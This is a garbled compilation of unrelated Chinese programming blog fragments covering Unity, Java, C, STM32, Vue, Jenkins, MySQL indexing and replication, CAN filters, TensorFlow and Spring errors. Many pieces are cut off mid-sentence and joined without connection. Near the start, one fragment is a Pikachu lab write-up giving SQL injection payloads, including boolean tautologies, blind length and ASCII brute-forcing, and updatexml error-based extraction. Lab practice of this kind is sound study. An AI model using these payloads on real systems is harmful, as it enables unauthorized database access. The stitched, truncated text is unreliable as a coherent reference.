private const int RECORD_TIME = 300;//最长录制5分钟
private const int ClearAudioTime = 10;//每隔10秒清空1个无效数据;就是没有音源记录的数据
private AudioClip recordedClip;
0x00 前言 手工注入忘的差不多了。。。还是需要多多练习
以下关卡都是稍微测以下存不存在sql注入,查下数据库名啥的
没有将所有字段都爆出来。
冲鸭~
0x01 数字型注入(post) 因为是数字型,直接在后面加上真命题,不需要加单引号测试
0x02 字符型注入(get) 加单引号报错,说明存在sql注入
再加上真命题查询到all
0x03 搜索型注入 加单引号,sql语句报错
Payload:
li’ or 1=1 --+ 加上真命题回显all
Payload:
li' and length(database())=7 --+ 测得数据库长度为7时正常回显
说明数据库长度为7
测数据库名
and ascii(substr(database(),x,1))=n X:库名第几位(1-7)
N:该位对应的ascii码值
对n进行爆破(65-122)
最后得到数据库名:pikachu
0x04 xx型注入 加单引号
0x05 insert/update注入 1.insert注入
测试模块:注册处
令用户名为quan’
Payload:
quan' or updatexml(1,concat(0x7e,database()),0) or' 2.Update注入
先登录进去,然后在修改资料处填写信息抓包
Payload:
quan' or updatexml(1,concat(0x7e,database()),0) or' 0x06 delete注入 先留言,点击删除时抓包
Payload:
62 or updatexml (1,concat(0x7e,datebase()),0) 在bp中Ctrl+U 对payload进行url编码
0x07 http header注入 1.
在API中对asList()的描述
public static <T> List<T> asList(T... a)
返回由指定数组支持的固定大小的列表。(将返回的列表更改为“写入数组”。)该方法作为基于数组和基于集合的API之间的桥梁,与Collection.toArray()相结合 ,返回的列表是可序列化的,并实现RandomAccess。此方法还提供了一种方便的方式来创建一个初始化为包含几个元素的固定大小的列表:
List<String> stooges = Arrays.asList("Larry", "Moe", "Curly");参数类型
T - 数组中对象的类参数
a - 列表将被支持的数组结果
指定数组的列表视图 在来看一个例子:(参数类型为可变参数的方法,可以传多个指定类型的值,也可传指定类型的数组)
import java.util.Arrays; import java.util.List; public class TestArrayLIst { public static void main(String[] args) { int[] arr = {1,2,3}; List<int[]> asList = Arrays.asList(arr); System.out.println(asList); Integer[] arr1 = {1,2,3}; List<Integer> asList2 = Arrays.asList(arr1); System.out.println(asList2); } public static void fun(int... a) { System.out.println("int..."); } }/*Output: [[I@15db9742] [1, 2, 3] */ 代码中我们可以看到,给方法Arrays.
流程控制语句:用来控制程序中各语句执行顺序的语句。 C语言中由一个分号(:)隔开的就是一条语句。 分支语句
·if
·switch
循环语句
·while
·for
·do while
分支语句 if语句
if语句的结构:
if(表达式)
语句;
if(表达式)
语句1; else(表达式)
语句2;
//多分支 if(表达式1)
语句1; else if(表达式2)
语句2; else
语句3; 注意:如果表达式的结果为真
,则语句1执行,否则表达2执行。
C语言中0表示假,非0表示真。
代码演示:
#include<stdio.h> int main(){ int coding=0; printf("你会好好学习吗?(选择1or2):"); scanf("%d",&coding); if(coding==1){ printf(“坚持就是胜利!\n”); } else{ printf("废物!\n"); } return 0; } 注意:适当使用{}可以使代码的逻辑更加清楚。
switch语句
switch语句也是一种分支语句,常用于分支情况。
比如:
输入1,输出星期一;
输入2,输出星期二;
输入3,输出星期三;
输入4,输出星期四;
输入5,输出星期五;
输入6,输出星期六;
输入7,输出星期七;
switch语句的结构
switch(整型表达式)
{
case 整型常量表达;
语句;
}
#include<stdio.h> int main(){ int day=0; switch(day) { case 1: printf("
最近在配置阿里云服务器的emqtt,发现端口访问不了,经过不懈的努力尝试,终于可以进入Dashboard页面了。简直高兴的哭。网上很多教程都只是配置安全组后就能访问端口了,但是我的就不行,后来才发现还要配置防火墙。所以有不能访问端口问题的朋友可以参考下我的步骤。
第一步:配置安全组 这一步网上教程很多,大家直接参考就好,将自己需要的端口都打开。
给个参考图片,
第二步,设置防火墙firewall(需安装firewall,网上教程很多) 1.
firewall-cmd --list-all,查看所有信息,看端口是否打开 2.
firewall-cmd --zone=public --add-port=80/tcp --permanent firewall-cmd --reload,永久打开端口 3.重启服务器,然后查看端口是否打开
给个参考链接:https://www.jianshu.com/p/093765a3f50e,https://www.cnblogs.com/straycats/p/10714257.html
第三步,成功!!!
一、枚举类:
在某些情况下,一个类的对象是有限而且固定的。
例如季节类,只能有春夏秋冬四个对象,那么季节
类就称为枚举类。
在jdk1.5之前需要我们手动实现枚举类:
1.构造器使用private修饰
2.属性使用private final修饰(私有常量)
3.枚举类的所有实例都使用public static final修饰:
(全局常量的形式存在)
二、
在jdk1.5开始新增了enum关键字来定义枚举类:
1.使用关键字enum定义类,不再是class关键字;
但是还是类结构,就是一个特殊的类。
2.使用关键字enum定义的枚举类默认继承了java.lang.Enum类,
而不是Obejct类;因此枚举类不能再显示的继承其他父7类(
枚举类不能在有其他的继承关系);
枚举类默认继承的java.lang.Enum类实现了Serializable和
Comparator接口。
3.非抽象的枚举类默认是final的,所以枚举类不能派生子类。
4.枚举类的构造器只能使用private修饰,即使定义构造器时省略
修饰符也默认是private。
5.枚举类的所有实例必须在枚举类的第一行显示的列出,且是以,
分隔;结束,这些枚举类的实例也被称为枚举值;如果不在枚举
类中列出枚举类的实例,那么该枚举类就不存在任何实例(因为
其构造器是private的);且在枚举类中列出的实例系统会自动添
加public static final修饰符,所以无需显示添加。
三、
6.所有的枚举类都提供了一个values()方法,该方法可以很方便的
遍历出所有的枚举值(枚举类的实例)。
四、
在jdk1.5中还可以在switch语句中使用枚举类对象作为表达式,case
子句可以直接使用枚举值的名字,无需添加枚举类作为限定:
五、
若枚举类只有一个枚举值,则可以作为一种单例模式的实现方式:
枚举类的属性总结:
1.枚举类对象的属性值不允许被修改,所以必须定义为private final
2.枚举类中使用private final修饰的属性一般在new其构造器创建
对象时在构造器中为其初始化值。
3.若枚举类显示的定义了带参的构造器,则在枚举类中列出枚举值时
也必须对应的传入参数,表示调用对用的构造器创建枚举类对象。
六、
和普通java类一样,枚举类也可以实现一个或多个接口;
若需要每个枚举值(枚举类对象)在调用实现的接口的方法
中呈现不同的行为方式,则可以让每个枚举值分别来实现
接口的方法。
七、Enum类的常用方法:
枚举类默认都继承自Enum类,所以Enum类中的方法所有的枚举类
也都具备:
1>boolean | equals(Object obj):当指定对象等于此枚举值时,返回true。
2>int | hashCode():返回枚举值的哈希码。
/*
class类继承的Object类的toString()默认是输出类名和当前对象的哈希值;
enum类继承的Enum类的toString()默认是输出当前枚举值的名称。
当然toString()都是可以重写的。
*/
3>String | toString():返回枚举值的名称,它包含在声明中。
0.前言 基于正点原子mini板的程序设计,完成按键控制LED的功能。
在STM32F103实验一:点亮LED灯的基础下(已经建立好led.h和led.c文件),添加头文件key.h和源文件key.c到HARDWARE文件夹下。
1.原理图参照: 3.程序开发思路: 编写头文件key.h,声明相关调用和函数在key.c文件中编写按键初始化函数在key.c中编写按键检测函数在主函数main()中编写按键控制led的程序 3.1编写key.h文件
#ifndef __KEY_H_ #define __KEY_H_ #include "stm32f10x.h" #include "sys.h" //声明按键返回值 #define KEY_0 1 #define KEY_1 2 #define WK_UP 3 //声明按键引脚 #define key_0 PCin(5) #define key_1 PAin(15) #define wk_up PAin(0) void KEY_Init(void); u8 KEY_Scan(void); #endif 3.2编写key.c文件
#include "key.h" #include "delay.h" void KEY_Init(void) { GPIO_InitTypeDef GPIO_InitStructure; RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA|RCC_APB2Periph_GPIOC, ENABLE); //WK_UP初始化 GPIO_InitStructure.GPIO_Pin = GPIO_Pin_0; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IPD; //下拉输入 GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_Init(GPIOA, &GPIO_InitStructure); //KEY_1初始化 GPIO_InitStructure.GPIO_Pin = GPIO_Pin_15; GPIO_InitStructure.
vue异步请求数据时往往不能及时更新,下面介绍一种方法解决。
export default { name: "pic", created() { this.getList(); }, data(){ return{num:[]} }, methods:{ getList(){ fetch('https://localhost:3000/get-banner-list').then(data=>{ return data.json() }).then((data)=>{this.num=data.data;console.log(this.num)}) } } } 这个时候template标签里面的数据还没有更新,所以可以这样
<div class="propagate" v-show="num.length>0"> <ul> <li v-for="(item,index) in num" :key="index"> <img :src="item.photo_url" :key="index"> </li> </ul> </div> 等数据加载完再显示
1.设置table的ref为tableList
2.设置滚动至顶部
this.$refs.tableList.bodyWrapper.scrollTop =0; 3.设置滚动至底部 this.$refs.tableList.bodyWrapper.scrollTop =this.$refs.tableList.bodyWrapper. scrollHeight; 转载于:https://www.cnblogs.com/growupup/p/11323515.html
<div class="eg">
<div class="eg1">
<span>Hello!</span>
<p>Hi!</p>
</div>
</div>
$(".eg1").live("click", function () {
$(this).parent();//获取的是"div .eg"
$(this).children("span");//获取的是<span></span>元素
$(this.).find("p");//获取的是<p></p>元素
});
注意: 这里使用find()函数的时候是$(this)下面的元素
转载于:https://www.cnblogs.com/JacobDu-AJia/archive/2012/11/23/2783744.html
通过组件MeshFilter
每个模型都有MeshFilter,里面的mesh存储着模型的顶点信息。先通过GetComponent<MeshFilter>().mesh.bounds.size获取模型的mesh三维大小。而实际在空间的大小和自身的scale以及父物体的scale决定的,所以这里我们要将刚刚得到的vector3类型的值中的xyz分量和模型的transform.lossyScale的xyz分量相乘就是最后物体实际的大小。
Vector3 length = go.GetComponent<MeshFilter>().mesh.bounds.size; float xlength = length.x * transform.lossyScale.x; float ylength = length.y * transform.lossyScale.y; float zlength = length.z * transform.lossyScale.z;
第一步:下载安装包 下载jenkins的安装包Jenkins各版本的rpm安装包,并且导入Centos中:
[root@iZ23evimvf8Z install]# rpm -ivh jenkins-2.150.3-1.1.noarch.rpm warning: jenkins-2.150.3-1.1.noarch.rpm: Header V4 DSA/SHA1 Signature, key ID d50582e6: NOKEY Preparing... ################################# [100%] Updating / installing... 1:jenkins-2.150.3-1.1 ################################# [100%] 提一嘴Jenkins是需要安装java的,这个应该不会不知道吧,安装JDK1.8
第一步:检测安装信息
查看安装是否成功
[root@iZ23evimvf8Z install]# systemctl jenkins status Unknown operation 'jenkins'. [root@iZ23evimvf8Z install]# service jenkins status ● jenkins.service - LSB: Jenkins Automation Server Loaded: loaded (/etc/rc.d/init.d/jenkins; bad; vendor preset: disabled) Active: inactive (dead) Docs: man:systemd-sysv-generator(8) 第三步:配置Jenkins 安装没问题,我们需要去配置信息,配置完成后再使用。
[root@iZ23evimvf8Z install]# vi /etc/sysconfig/jenkins JENKINS_USER="root" #默认的用户是”jenkins“,在部署项目时需要调整涉及到的文件和目录的操作权限,需要使用root用户 JENKINS_PORT="
这里写自定义目录标题 前言sql怎么写索引怎么建索引索引的分类结束语 前言 相信所有从事互联网开发的同学们都知道数据库的重要性,因为数据库的读写是磁盘读写,所以数据 库很大一部分来说就是系统性能的瓶颈,其中最重要的就是索引,要创建好的索引并不是一件简单的事情 sql怎么写 现在有一些自动生成sql的工具,看似方便,但当我看见这样的sql时,说实话,我很害怕。数据库有多重 要,我们写sql的时候就要多严谨。写sql并不难,但是,不要真的觉得这并不难。 1、我们的每条带有where的语句,查询条件都应该很明确 方便创建索引 2、能越有效的过滤条件应该放在越前面 3、写完所有sql结合第二条以及索引的最左匹配原则,考虑是否调整查询条件顺序,复用索引 4、注意$、#符的使用 5、请用简单查询 如果你需要更多sql优化的信息:
Profile是可以看到sql使用情况的功能,但是要在数据库开启这个功能才能统计和查看。
索引怎么建 当你写一个sql的时候你就要为它所走的索引负责,所以喜欢用自动生成sql的同学是否应该认真思考,自动生成的查询条件语句有多可怕,索引并不是越多越好,索引需要存储,需要维护。所以怎么做到一个平衡,就是我们需要去思考的。那我们怎么去思考尼,mysql为我们提供了explain关键字。 那我们怎么解读explain的结果尼 其中标注了有颜色数字的节点都是非常重要的,其中type和Extra列出的是我认为比较重要的几个结果,并不是这两个关键字所有的结果,其中key关键字告诉我们MySql数据库执行的时候走了哪个索引,type、row、extra告诉我们这条sql执行详情
另外我们可能需要记住一些不走索引的情况:
SQL什么条件不会使用索引?
1、(!=或<>)不等于操作不能使用索引、
2、经过普通运算或函数运算后的索引字段不能使用索引
function(INDEX_COLUMN) = ? INDEX_COLUMN + 1 = ? INDEX_COLUMN || 'a' = ? 3、含前导模糊查询的Like语法不能使用索引(like ‘%…’)
4 where name is null 不走索引
5、给索引查询的值应是已知数据,不能是未知字段值。
a.INDEX_COLUMN=a.COLUMN_1 6、使用聚合函数以后的order By不走索引
7、范围查找之后,不走索引(使用index-condition-putdown以后的版本可以走)
8、当访问的数据占表的蛮大一部分的时候(20%),优化器会选择聚集索引来查找数据(选择顺序读,替代随机读)
9、如果sql语句中有类型转换不能走所有
10、两个表的编码不同会导致连表查询的时候,不走索引
例如字符集一个表是 utf8mb4 一个表是 utf8 的超集,这种情况需要需要将被驱动数据表里的字段一个个地转换成 utf8mb4,再做比较。
SQL 性能优化的目标:至少要达到 range 级别,要求是 ref 级别,如果可以是 consts 最好。
range:对索引进行范围查找
索引 索引的分类 下图列出了inndb的索引分类,因为目前我们有关字符串的搜索面向用户都使用ElasticSearch所以这里忽略了全文索引(倒排索引),而哈希索引也不是我们人为可以干预。所以这边我们仅对下图的索引做一些简介。 B+树是由平衡二叉树进化得来的,它不仅是一个平衡二叉树,其左右兄弟节点之间构成一个双向链表的结构。平衡二叉树的结构让数据库走索引时n条数据的最大时间复杂度为log2n,
前言 对于大型网站,为了解决大量的并发访问,会在服务端实现分布式负载均衡,但是,这还不够。如果后台仅使用一个数据库来处理数据,那么,数据库压力势必过大,响应慢,甚至崩溃。如果数据库崩溃、数据丢失,后果将会很严重。
针对于上面存在的隐患,我们可以 主从分离 来避免。
使用主从数据库实现主从分离,主数据库支持数据的写操作,从数据库支持数据的读操作,所以,我们需要确保主库与从库中的数据完全一致。
使用主从分离,有如下好处:
一:提高读写数据库的效率。对于大部分的应用程序,大部分的操作都是查询(即读数据),小部分的操作是增删改(即写数据)。所以,数据库的大部分压力来自于读操作。当读的压力较大时,我们可以通过读写分离的方式,降低读的压力,提升读取时的效率。
二:确保数据的安全性。如果不实现读写分离,所有的数据全部存储于同一个库中,这样,如果因网络问题而连接不到这个库,或者,某些原因导致这个数据库出现故障,那么,所有数据都将丢失。可能会出现单点故障的风险。
主从分离的实现原理 我们可以提供多个数据库,其中,一个库为主库,主要实现写功能(增、删、改),其他库(一个或多个)为从库,主要实现读功能(查询)。
主库与从库中的数据完全一致。所以,我们需要关注的是,如何确保主库与从库之间的数据是一致的。这里,主要是使用二进制日志文件来确保主从之间数据一致的。
这是从网络上搜来的一张图,及介绍: https://blog.csdn.net/qq_15092079/article/details/81672920
在上面的模型中,Mysql-A就是主库,即master,Mysql-B就是从库,即slave。
在 Mysql-A主库 的数据库事件(例如修改数据库的sql操作语句),都会存储到日志系统A中,在相应的端口(默认3306)通过网络发送给 Mysql-B从库 。Mysql-B从库 收到后,写入本地日志系统B,然后一条条的将数据库事件在数据库 Mysql-B从库 中完成。
日志系统A,是MYSQL的日志类型中的二进制日志,也就是专门用来保存修改数据库表的所有动作,即bin log,注意MYSQL会在执行语句之后,释放锁之前,写入二进制日志,确保事务安全。
日志系统B,不是二进制日志,由于它是从 MYSQL-A主库 的二进制日志复制过来的,并不是自己的数据库变化产生的,有点接力的感觉,称为中继日志,即relay log。
通过上面的机制,可以保证 Mysql-A主库 和 Mysql-B从库 的数据库数据一致,但是时间上肯定有延迟,即 Mysql-B从库 的数据是滞后的。因此,会出现这样的问题,Mysql-A主库 的数据库操作是可以并发的执行的,但是 Mysql-B从库 只能从relay log中一条一条的读取执行。若 Mysql-A主库 的写操作很频繁,Mysql-B从库 很可能就跟不上了。
主从同步复制有以下几种方式:
(1)同步复制,master的变化,必须等待slave-1,slave-2,...,slave-n完成后才能返回。
(2)异步复制,master只需要完成自己的数据库操作即可,至于slaves是否收到二进制日志,是否完成操作,不用关心。MYSQL的默认设置。
(3)半同步复制,master只保证slaves中的一个操作成功,就返回,其他slave不管。这个功能,是由google为MYSQL引入的。
主从分离的实现步骤 本文中的主从分离环境是:vmware虚拟机中安装两个centos7操作系统,每个操作系统上,分别安装MySQL5.7数据库。以此环境实现主从分离。CentOS7中离线安装MySQL5.7
前提: 主库所在系统的ip:192.168.11.58 , 从库所在系统的ip:192.168.11.62 1、配置主库 1.1 修改/etc/my.cnf 配置文件 添加如下信息:
必须配置的选项:
1)server-id 服务器唯一标识。
2)log-bin 启动MySQL二进制日志,即数据同步语句,从数据库会一条一条的执行这些语句。
3)log-bin-index 二进制日志文件的索引
如果仅配置上面选项,指的是主服务器上的所有库都会同步到从库中,比如,主库中创建一个新的库,那么,从库中也将创建一个新的库。
可选配置的选项:
1)binlog-do-db = test 指定 将主库中的 test数据库 同步到 从库 中。
随着移动互联网的发展,出现了几个超级App, 如微信,陌陌, QQ,抖音,今日头条等。
这些超级APP 每天都有几亿的活跃用户,用户玩手机的都集中在这些超级APP上。
对于超级APP而言,他们有流量,需要内容,留住用户,需要内容将流量变现。
游戏是互联网最直接的变现模式,广告 + 道具付费。
传统的游戏开发,用户需要下一个游戏的安装包,对于用户而言
下载,安装还很麻烦,也许我想玩一个还不知道质量的游戏,需要安装,体验,卸载,
成本极高,还担心中毒等风险。
H5小游戏,指的是放在超级APP的服务器上,经过平台审核过的H5游戏(可以理解为网页游戏),
这样,直接再几大超级APP上点开H5游戏就可以来玩,同时,这些超级APP
提供了完整的,广告,支付等,提供了分享,裂变,等,形成一个很好的闭环,用户
可以更快的更方便的体验到游戏。 所以H5游戏必然是游戏内容创作的一个风口。
H5小游戏,真的很小么? 做不了大游戏么?其实这个是大家的一个误解。
H5小游戏的小,指的是放在超级APP上服务器的空间, 有限,但资源这些完全可以通过第三方服务器来存放,所以
小游戏不小,可以做的很大。
H5小游戏是否会很慢?运行,加载等;
现在的硬件,超级APP 内部的优化,H5游戏可以媲美原生的APP游戏。
加载是否会很慢?毕竟要从服务器加载进来。
第一次加载时间会久些,后续优先会从本地缓存里面读取,第二次以后会很快。
随着5G的发展,第一次加载的时间也会越来越短。
综上所述, 各大超级APP,将流量,广告,付费,社交,分享等赋能给游戏创作者,
所以H5小游戏一定是游戏创作者的风口和趋势。
1 前言 在CAN协议里,报文的标识符不代表节点的地址,而是跟报文的内容相关的。因此,发送者以广播的形式把报文发送给所有的接收者。节点在接收报文时,根据标识符(CAN ID)的值决定软件是否需要该报文;如果需要,就拷贝到SRAM里;如果不需要,报文就被丢弃且无需软件的干预。
为满足这一需求,bxCAN为应用程序提供了14个位宽可变的、可配置的过滤器组(13~0),以便只接收那些软件需要的报文。硬件过滤的做法节省了CPU开销,否则就必须由软件过滤从而占用一定的CPU开销。每个过滤器组x由2个32位寄存器,CAN_FxR0和CAN_FxR1组成。
为了让大家了解STM32的bxCAN的接收过滤机制,首先大家需要了解几个概念。
2 几个重要的概念 2.1 过滤器组 STM32总共提供14个过滤器组来处理CAN接收过滤问题,每个过滤器组包含两个32位寄存器CAN_FxR0和CAN_FxR1组成,在设置为屏蔽位模式下,其中一个作为标识符寄存器,另一个作为屏蔽码寄存器。过滤器组中的每个过滤器,编号(叫做过滤器号)从0开始,到某个最大数值(这时最大值并非13,而是取决于14个过滤器组的模式和位宽的设置,当全部配置为位宽为16,且为标识符列表模式时,最大编号为14*4-1=55)。
2.2 过滤器的过滤模式 STM32提供两种过滤模式供用户设置:屏蔽位模式和标识符列表模式。
2.2.1 屏蔽位模式 为了过滤出一组标识符,应该设置过滤器组工作在屏蔽位模式。
在屏蔽位模式下,标识符寄存器和屏蔽寄存器一起,指定报文标识符的任何一位,应该按照“必须匹配”或“不用关心”处理。
2.2.2 标识符列表模式 为了过滤出一个标识符,应该设置过滤器组工作在标识符列表模式。
在标识符列表模式下,屏蔽寄存器也被当作标识符寄存器用。因此,不是采用一个标识符加一个屏蔽位的方式,而是使用2个标识符寄存器。接收报文标识符的每一位都必须跟过滤器标识符相同。
2.3 过滤器的位宽 每个过滤器组的位宽都可以独立配置,以满足应用程序的不同需求。根据位宽的不同,每个过滤器组可提供:
1个32位过滤器,包括:STDID[10:0]、EXTID[17:0]、IDE和RTR位2个16位过滤器,包括:STDID[10:0]、IDE、RTR和EXTID[17:15]位
2.3.1 过滤器组的过滤模式和位宽设置 过滤器组可以通过相应的CAN_FMR寄存器(CAN过滤器主控寄存器)配置。但是不是什么时候都可以直接配置,在配置一个过滤器组前,必须通过清除CAN_FAR寄存器(CAN过滤器激活寄存器)的FACT位,把它设置为禁用状态。然后才能设置或设置过滤器组的配置。
通过设置CAN_FS1R(CAN过滤器位宽寄存器)的相应FSCx位,可以配置一个过滤器组的位宽。通过CAN_FM1R(CAN过滤器模式寄存器)的FBMx位,可以配置对应的屏蔽/标识符寄存器的标识符列表模式或屏蔽位模式。(见后续3.2节) 应用程序不用的过滤器组,应该保持在禁用状态。
关于过滤器配置,可参见下图:
图1
2.4 过滤器匹配序号 一旦收到的报文被存入FIFO,就可被应用程序访问。通常情况下,报文中的数据被拷贝到SRAM中;为了把数据拷贝到合适的位置,应用程序需要根据报文的标识符来辨别不同的数据。bxCAN提供了过滤器匹配序号,以简化这一辨别过程。根据过滤器优先级规则,过滤器匹配序号和报文一起,被存入邮箱中。因此每个收到的报文,都有与它相关联的过滤器匹配序号。
过滤器匹配序号可以通过下面两种方式来使用:
把过滤器匹配序号跟一系列所期望的值进行比较把过滤器匹配序号当作一个索引来访问目标地址 对于标识符列表模式下的过滤器(非屏蔽方式的过滤器),软件不需要直接跟标识符进行比较。
对于屏蔽位模式下的过滤器,软件只须对需要的那些屏蔽位(必须匹配的位)进行比较即可。
在给过滤器编号时,并不考虑过滤器组是否为激活状态。另外,每个FIFO各自对其关联的过滤器进行编号,如下图:
图2
2.5 过滤器优先级规则 根据过滤器的不同配置,有可能一个报文标识符能通过多个过滤器的过滤;在这种情况下,存放在接收邮箱中的过滤器匹配序号,根据下列优先级规则来确定:
位宽为32位的过滤器,优先级高于位宽为16位的过滤器对于位宽相同的过滤器,标识符列表模式的优先级高于屏蔽位模式位宽和模式都相同的过滤器,优先级由过滤器号决定,过滤器号小的优先级高 如下图:
图3
如上图,在接收一个报文时,其标识符首先与配置在标识符列表模式下的过滤器相比较;如果匹配上,报文就被存放到相关联的FIFO中,并且所匹配的过滤器的序号(这时为4)被存入过滤器匹配序号中。如同例子中所显示,报文标识符跟#4标识符匹配,因此报文内容和FMI4被存入FIFO。
如果没有匹配,报文标识符接着与配置在屏蔽位模式下的过滤器进行比较。
如果报文标识符没有跟过滤器中的任何标识符相匹配,那么硬件就丢弃该报文,且不会对软件有任何打扰。
3 与过滤器相关的寄存器 3.1 CAN 过滤器主控寄存器 (CAN_FMR) 地址偏移量: 0x200
复位值: 0x2A1C 0E01
注: 该寄存器的非保留位完全由软件控制。
图4
位31:1保留位,强制为复位值位0FINIT : 过滤器初始化模式
针对所有过滤器组的初始化模式设置。
一、将 TensorFlow 中的张量 Tensor 转换为 numpy array 的方法实例 >>> import tensorflow as tf >>> data_tensor = tf.constant([1,2,3,4,5,6], shape=[2,3], dtype=tf.float32) >>> data_tensor <tf.Tensor 'Const:0' shape=(2, 3) dtype=float32> >>> with tf.Session() as sess: # 方法一: ... print("sess.run(tensor): {}".format(sess.run(data_tensor))) # 方法二: ... print("tensor.eval(session=sess): {}".format(data_tensor.eval(session=sess))) ... # 打印结果: sess.run(tensor): [[1. 2. 3.] [4. 5. 6.]] tensor.eval(session=sess): [[1. 2. 3.] [4. 5. 6.]] 二、数据张量转换为 numpy 数组的应用实例 将包含指定数据的 tensor 输入给 Session 的 run() 方法的 feed_dict 参数,但是需要注意 feed_dict 参数不能接收 tensor,所以需要将 tensor 进行转换为 numpy array 形式
错误日志:
Caused by: org.springframework.beans.factory.BeanDefinitionStoreException: Failed to parse configuration class [com.zxycloud.common.MybatisGeneratorApplication]; nested exception is java.io.FileNotFoundException: Could not open ServletContext resource [/redisConfig.properties] at org.springframework.context.annotation.ConfigurationClassParser.parse(ConfigurationClassParser.java:181) at org.springframework.context.annotation.ConfigurationClassPostProcessor.processConfigBeanDefinitions(ConfigurationClassPostProcessor.java:315) at org.springframework.context.annotation.ConfigurationClassPostProcessor.postProcessBeanDefinitionRegistry(ConfigurationClassPostProcessor.java:232) at org.springframework.context.support.PostProcessorRegistrationDelegate.invokeBeanDefinitionRegistryPostProcessors(PostProcessorRegistrationDelegate.java:275) at org.springframework.context.support.PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors(PostProcessorRegistrationDelegate.java:95) at org.springframework.context.support.AbstractApplicationContext.invokeBeanFactoryPostProcessors(AbstractApplicationContext.java:691) at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:528) at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:775) at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:397) at org.springframework.boot.SpringApplication.run(SpringApplication.java:316) at org.springframework.boot.test.context.SpringBootContextLoader.loadContext(SpringBootContextLoader.java:127) at org.springframework.test.context.cache.DefaultCacheAwareContextLoaderDelegate.loadContextInternal(DefaultCacheAwareContextLoaderDelegate.java:99) at org.springframework.test.context.cache.DefaultCacheAwareContextLoaderDelegate.loadContext(DefaultCacheAwareContextLoaderDelegate.java:117) ... 25 common frames omitted idea在install和package是出现此错,自己的配置文件,启动类书写都正确,但就是为什么会找不到配置呢?
原因是这个:错误的核心信息是找不到一个properties文件
代码中写配置文件路径的时候没有加上classpath。 正常的使用的代码应该像这样:
没加classpath会报错,导致install失败
1、关于左侧树状图的显示
此图显示不全
2、后台应该把所有的数据都给查询出来
3、在前台处理数据
<el-tree :data=“tableData2” :props=“defaultProps”@node-click=“handleNodeClick” >
树状图标签
:props="defaultProps"控制树状图的显示隐藏 true false
4、
5、